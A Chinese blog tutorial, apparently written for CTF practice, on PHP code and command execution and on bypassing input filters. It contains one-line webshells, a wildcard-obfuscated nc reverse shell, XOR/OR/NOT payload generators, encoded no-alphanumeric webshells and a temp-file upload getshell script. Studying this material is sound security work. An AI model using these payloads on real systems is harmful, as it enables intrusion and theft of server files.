IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 命令执行小结 -> 正文阅读

[PHP知识库]命令执行小结

命令执行小结

代码执行

通俗的来说是执行php的代码,经常需要利用命令执行有关的函数来读取flag

常用函数:

  • eval()

    例子:

    <?php
    	eval($_GET['pass'])
    ?>
    
  • assert()

    PHP 5

    bool assert ( mixed $assertion [, string $description ] )
    

    PHP 7

    bool assert ( mixed $assertion [, Throwable $exception ] )
    

    assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

    <?php
    	assert($_GET['pass']);
    ?>
    
  • preg_replace()

    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    

    搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串
    更详细的说明见:php-preg_replace

  • call_user_func()

    mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
    

    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。

    <?php
    	call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
    ?>
    

    访问附加如下参数可执行phpinfo

    ?chybeta=assert&ph0en1x=phpinfo()
    
  • call_user_func_array()

    mixed call_user_func_array ( callable $callback , array $param_arr )
    

    把第一个参数作为**回调函数(callback)**调用,把参数数组作(param_arr)为回调函数的的参数传

    <?php
    	call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']);
    ?>
    

    访问附加如下参数可执行phpinfo

    ?chybeta=assert&ph0en1x[]=phpinfo()
    
  • create_function

    string create_function ( string $args , string $code )
    

    该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

    <?php
    	$a = $_GET['chybeta'];
    	$b = create_function('$a',"echo $a");
    	$b('');
    ?>
    

    访问附加如下参数可执行phpinfo

    ?chybeta=phpinfo();
    
  • array_map()

    array array_map ( callable $callback , array $array1 [, array $... ] )
    

    作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

    <?php
    	$array = array(0,1,2,3,4,5);
    	array_map($_GET['chybeta'],$array);
    ?>
    

    访问附加如下参数可执行phpinfo

    ?chybeta=phpinfo();
    

命令执行

通俗来说就是执行linux中shell的函数,需要传入的参数是shell指令

? 常用函数:

  • system()(有回显)

    string system ( string $command [, int &$return_var ] )
    

    command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

    例子:

    system("whoami");
    
  • passthru()(有回显)

    void passthru ( string $command [, int &$return_var ] )
    

    command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数

    passthru("whoami");
    
  • exec()(无回显)

    string exec ( string $command [, array &$output [, int &$return_var ]] )
    

    exec() 执行 command 参数所指定的命令。 其余参数,见文档

    echo exec("whoami");
    
  • pcntl_exec()

    void pcntl_exec ( string $path [, array $args [, array $envs ]] )
    

    path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
    args是一个要传递给程序的参数的字符串数组。

    pcntl_exec ( "/bin/bash" , array("whoami"));
    
  • shell_exec()

    string shell_exec ( string $cmd )
    

    cmd是要执行的命令。

    echo shell_exec("whoami");
    
  • popen()

    resource popen ( string $command , string $mode )
    
    

    打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。

    $handle = popen("/bin/ls", "r");
    
  • proc_open()

    resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
    

    cmd是要执行的命令,其余见文档

  • `(反单引号)

    在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。

    <?php
    	echo `whoami`;
    ?>
    
  • ob_start()

    bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
    

    此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。

    可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

    下面的代码,由于调用了ob_end_flush(),所以会调用ob_start( c m d ) 中 的 c m d , 把 我 们 输 入 的 cmd)中的cmd,把我们输入的 cmd)cmd_GET[a]作为cmd的参数。

    <?php
    	$cmd = 'system';
    	ob_start($cmd);
    	echo "$_GET[a]";
    	ob_end_flush();
    ?>
    

    访问:

    http://localhost:2500/codeexec.php?a=whoami
    
  • php mail()

    mail 文档

    bool mail (
    	string $to ,
    	string $subject ,
    	string $message [,
    	string $additional_headers [,
    	string $additional_parameters ]]
    )
    

    要使用mail()函数,需要配置对应的服务器等,在php.ini中有两个选项:

    • 配置SMTP服务器的主机名和端口
    • 配置PHP用作邮件传输代理(MTA)的文件路径

    当PHP配置了第二个选项时,对该mail()函数的调用将导致执行配置对MTA程序。虽然PHP内部使用escapeshellcmd()用于程序调用,防止新的shell命令注入,但第5个参数$additional_parameters中mail()允许添加的新程序。因此,攻击者可以附加程序标志,在某些MTA中可以创建具有用户控制内容的文件。

绕过思路

对单词的过滤

形如

if(!preg_match("/flag|system|php/i", $c)){
	        eval($c);
    }

flag在同目录flag.php中

只要让c中不出现以上单词即可

  • 绕过命令执行中出现的字符

    在这我们需要读取flag.php,可以利用通配符绕过

    以下是命令执行的绕过,就是说以下的/?in/?at fl??.p?p应该是写在system(‘xxx’); 这样的函数中的

    #1.直接读取
    /?in/?at fl??.p?p # ?可以表示任何字符,只要与其匹配就能正确运行,这里执行的是/bin/cat flag.php
    cat fl* #利用*绕过
    cat fl''lg.php #利用''隔开字符绕过
    cat fl""lg.php
    cat \f\l\a\g\.p\h\p
    #2.反弹shell
    nc -e /bin/bash 127.0.0.1 3737
    #为了避免符号.我们可以将IP地址转换成整型。
    127.0.0.1 → 2130706433
    #使用通配符
    /??n/?c -e /??n/b??h 2130706433 3737
    #3.使用未初始化的bash变量
    
    
  • 绕过命令执行函数限制

    这里的system()被禁用了

    • 我们可以选择更换命令执行函数绕过(上面命令执行的函数选一个用)

    • 也可以利用include()文件包含绕过

    include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
    

    注意到include函数其实不加()也能正确识别参数$_GET[“url”]并执行,其余函数也有类似的特性

    image-20211129234044024

    可以发现此处的绕过完全不需要管flag.php,?>可以用来绕过; php代码最后有?>不写;是不会报错的

    image-20211129234342772

    • 上面的思路其实已经跳脱了这个对于变量c的过滤,因而我们也可以直接构造一个

      eval($_GET[a])?>&a=system('cat flag.php');
      

      此处需要eval套eval,猜测应该是需要先构建出a变量才能传入参数,不套的话只报错不执行代码

      在不过滤$ _ [ ] 的情况下新建变量绕过的方式比较常用

无参数RCE

什么是无参数?

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

形如

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
	        eval($c);
    }

像这种过滤的东西很多的情况下先跑个脚本看看能用什么东西

# 可用字符脚本
<?php
for($a = 20; $a < 127; $a++){
    if (!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", chr($a))){
        echo chr($a)." ";
    }
}
?>
# 可用字符
! ( ) ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z |

可以看到可用的字符不少,但是特殊符号被限制得很死,因而我们需要构造的是无参的函数payload

举个例子:

a(b(c()));可以使用,但是a(‘b’)或者a(‘b’,‘c’)这种含有参数的都不能使用

正常的,print_r(scandir(’.’));可以用来查看当前目录所有文件名

但是要怎么构造参数里这个点呢,这里介绍几个方法:

localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)

<?php
var_dump(localeconv());
?>

可以看到image-20211130001547219

第一项就是.,要怎么取到这个点呢,另一个函数:

current()返回数组中的单元,默认取第一个值,pos是current的别名

如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

因而print_r(scandir('.'));可以用如下的函数代替

print_r(scandir(pos(localeconv())));

  • 下面这个取.就是看脸游戏了

    chr(46)

    chr(46)就是字符"."

    要构造46,有几个方法:

    chr(rand()) (不实际,看运气)
    
    chr(time())
    
    chr(current(localtime(time())))
    

    chr(time()):

    chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."

    所以使用chr(time()),一个周期必定出现一次"."

    chr(current(localtime(time()))):

    数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."

  • 还有一个数学游戏的取.

    phpversion()

    phpversion()返回PHP版本,如5.5.9

    floor(phpversion())返回 5

    sqrt(floor(phpversion()))返回2.2360679774998

    tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

    cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

    sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

    ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

  • crypt()

    hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符

    ps:ord()返回字符串中第一个字符的Ascii值

    print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)
    

    同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符

    print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
    

目录更换

  • 获取当前目录getcwd()
  • 对当前目录进行遍历var_dump(scandir(getcwd()))
  • 遍历上一层目录var_dump(scandir(dirname(getcwd())))
  • 跳到上一层目录chdir(dirname(getcwd())),或者结合chdir构造…来去上一层,如:chdir(scandir(next(scandir(getcwd()))))

尝试读取文件

? 通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:

查询PHP手册发现:v2-5564c8da35c09df050ad808e5b8c9d11_720w.png

手册里有这些方法,如果要获取的数组是最后一个我们可以用:

show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)

ps:readgzfile()也可读文件,常用于绕过过滤

payload:

show_source(array_rand(array_flip(scandir(current(localeconv())))));

array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组,所以这是一个看脸的payload

当然我们知道php存在超全局变量,因而也可以尝试在这上面动心思

  • getenv()

    <?php
    var_dump(getenv());
    ?>
    

    上面的代码可以列出当前$_ENV这个超全局变量的值

    image-20211130131144645

    如何单独取出,可以利用上面的array_rand()函数

    <?php
    var_dump(array_rand(getenv()));
    ?>
    

    image-20211130131405570

    刷新界面就能出现不同的键了,如果需要值的话array_flip()交换一下

    <?php
    var_dump(array_rand(array_flip(getenv())));
    ?>
    

    image-20211130131631947

    报错可以不管

  • getallheaders()(apache的函数,需要apache环境)

    之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
    在apache2环境下,我们有函数getallheaders()可返回
    我们可以看一下返回值

    <?php
    error_reporting(0);
    var_dump(getallheaders());
    ?>
    

    image-20211205230532241

    抓包,对数据包进行修改如图所示,可以看到mob成为了一个可控的变量

    image-20211205230717244

    若此时后台代码为

    eval(current(getallheaders()));
    

    处于数组第一个的phpinfo就会被执行,如图所示

    image-20211205231416251

    回到题目上,这题想采用getallheaders()来读取文件可以这样构造

    show_source(current(getallheaders()));

    此时后台的题目代码:

    <?php
    /*
     * @Author: MOBval 
     * @Date: 2021-11-30 13:03:25 
     * @Last Modified by: MOBval
     * @Last Modified time: 2021-11-30 13:03:46
     */
    	if(isset($_GET['c'])){
    	    $c = $_GET['c'];
    		
    	    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    	        eval($c);
    	    }
    	    
    	}else{
    	    highlight_file(__FILE__);
    	}
    	var_dump(getallheaders());
    ?>
    

    结果:

    image-20211205232549406

    成功读取文件。

  • get_defined_vars()

    使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?
    这里我们可以使用get_defined_vars(),首先看一下它的回显

    image-20211205234412348

    可以看到是一个数组套数组的结构,因而可以这样构造

    ?c=show_source(end(current(get_defined_vars())));&mob=flag.php

    m在c的下方,因而取最后一个即可

    此时的后台代码:

    <?php
    /*
     * @Author: MOBval 
     * @Date: 2021-11-30 13:03:25 
     * @Last Modified by: MOBval
     * @Last Modified time: 2021-11-30 13:03:46
     */
    	if(isset($_GET['c'])){
    	    $c = $_GET['c'];
    		
    	    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    	        eval($c);
    	    }
    	    
    	}else{
    	    highlight_file(__FILE__);
    	}
    	var_dump(current(get_defined_vars()));
    ?>
    

    image-20211205235820666

    这两个方法可直接利用system()类函数进行命令执行,不做演示

    若对get和post,cookie等变量进行过滤还可利用$_FILES这个超全局变量

    参考脚本如下

    import requests
    from io import BytesIO
    
    payload = "system('ls /tmp');".encode('hex')
    files = {
      payload: BytesIO('sky cool!')
    }
    
    r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
    
    print r.content
    

    或者利用$_COOKIE

    session_id可以获取PHPSESSID的值

    session_start()函数用于初始化session数据,我们在使用session时,经常要使用到 S E S S I O N 变 量 , _SESSION变量, S?ESSION_SESSION是服务器端的cookie,相当一个大数组(浏览器关闭前,和session销毁前),$_SESSION中的数据可以一直用(除了重新赋值),在使用这个变量之前,必须先要开启session_start()。但不一定要把这个函数放在第一行,而是要保证在使用它之前,没有向浏览器输出过任何内容。

无数字字母RCE

形如

	if(!preg_match('/[0-9]|[a-z]/i', $c)){
	        eval("echo($c);");
	    }

这题很明显过滤了数字字母,可用字符为

$ % & ’ ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 

代码确实是限制了我们的 Webshell 不能出现任何字母和数字,但是并没有限制除了字母和数字以外的其他字符。所以我们的思路是,将非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如 “assert”、“system”、“file_put_contents”、“call_user_func” 等危险函数然后动态执行即可。

第一个思路是通过运算来生成数字字母,如异或,或,取反,自增。

异或

image-20211207110607223

如图可以看到,?与~异或后生成了A

利用脚本:

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");//该脚本会生成可用的异或后的可用字符
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));//异或运算的核心代码块
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x
#该脚本能使用上面的脚本输出的可用字符串,使用者只需要输入想使用的函数名和函数参数即可
import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

用例:

先用php的脚本生成xor_rce.txt

image-20211207111328099

之后利用python脚本

image-20211207111515149

image-20211207111737662

在函数无参数的情况下会有点小问题,把输出的参数去掉就行

后台代码:

<?php
/*
 * @Author: MOBval 
 * @Date: 2021-11-30 13:03:25 
 * @Last Modified by: MOBval
 * @Last Modified time: 2021-11-30 13:03:46
 */
	if(isset($_GET['c'])){
	    $c = $_GET['c'];
		
	    if(!preg_match("/[0-9]|[a-z]/i", $c)){
	        eval($c);
	    }
	    
	}else{
	    highlight_file(__FILE__);
	}
?>

执行phpinfo();

payload=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();

image-20211207111922666

执行system(“cat flag.php”);

flag.php与后台代码同文件夹

payload=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%60%60%60%60%2e%7b%60%7b");

image-20211207124617278

与异或运算类似,也是两个脚本

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)


用例参考上一题

取反

取反用到的字符几乎都是不可见字符,因而一个脚本即可

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

用例:

image-20211207125240529

payload=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);

image-20211207125419095

自增(7.0.12以上版本不可使用)

测试代码:

<?php
$s='a';
echo $s;
$s++;
echo $s;
?>

结果:

image-20211207130054833

可以发现$s在自增后由a变成了b

所以问题变成了如何取A/a

如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

image-20211207131052930

P神的代码

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

删掉注释后

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

进行url编码

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

同时传入

_=phpinfo();

image-20211207131347748

成功执行命令

上传临时文件getshell

具体原理看P神的无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)

这个环境不知道为啥不能直接在当前复现,/tmp里啥都没

image-20211207135358257

确实有,但

image-20211207135557428

删掉这个VMwareDnD就行(因为我环境放vmware里的,真实环境遇到这情况应该不多)

image-20211207135739457

image-20211207135854560

成功读取flag.php

或者开个容器

docker run --rm -p 9090:80 -v /home/mob/code/php/:/var/www/html php:5.6-apache

image-20211207135122028

能看到文件上传到/tmp了

image-20211207134735523

绕过重定向

对于以下的代码

system($c." >/dev/null 2>&1");

一个解释:

image-20220105211534873

可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失.

我们传入了一个变量c,

在这里执行了重定向,将c的执行结果重定向到/dev/null中

2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

结合上图的解释就简单理解成无论正确还是错误的执行,都可视为正确的执行。

但是在我们进行文件读取命令时这个重定向会将所有的输出全部丢弃,导致我们读不到数据

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
        system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

?>

对于以上的代码,我们想读取flag.php

如果只输入c=nl<fla''g.php

那么返回值是空白的

绕过思路:

||截断:在命令最后加上||,从而将整个命令分割为两部分,对于上题,传入c=nl<fla’'g.php ||即可

突破disable_function限制

disable_function就是在该PHP环境中被禁止的PHP函数

像宝塔的php环境默认就把大量的命令执行函数禁用了(所以实战中遇到命令执行的概率不大)

主要思路:找代替函数

  • 读取文件有关的函数

    • c=echo file_get_contents(“flag.php”);

      c=include(’/flag.txt’);
      c=require(’/flag.txt’);
